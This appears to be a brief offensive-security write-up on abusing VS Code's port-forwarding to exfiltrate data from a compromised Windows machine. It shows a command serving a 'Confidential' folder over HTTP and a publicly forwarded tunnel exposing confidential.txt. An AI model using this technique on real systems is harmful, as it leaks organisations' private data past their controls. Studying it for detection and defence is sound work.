

VS Code Feature Abuse For Exfiltration

We use vscode portforwarding feature to exfiltrate data from the compromised machine.

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS 1

```
PS C:\Users\alex\Documents\Confidential> python -m http.server 8080
Serving HTTP on :: port 8080 (http://[::]:8080/) ...
::ffff:127.0.0.1 - - [16/Nov/2024 03:38:49] code 404, message File not found
::ffff:127.0.0.1 - - [16/Nov/2024 03:38:49] "GET /favicon.ico HTTP/1.1" 404 -
::ffff:127.0.0.1 - - [16/Nov/2024 03:38:51] "GET / HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [16/Nov/2024 03:39:06] "GET / HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [16/Nov/2024 03:40:08] code 404, message File not found
```

File Edit Selection View Go Run Terminal Help

CONFIDENTIAL
confidential.txt

VS Code interface showing the PORTS panel with one port forwarded.

Port	Forwarded Address	Running Process	Visibility	Origin
8080	https://rbh02dqt-8080.inc1...		Public	User Forward



Directory listing for /

- [confidential.txt](#)

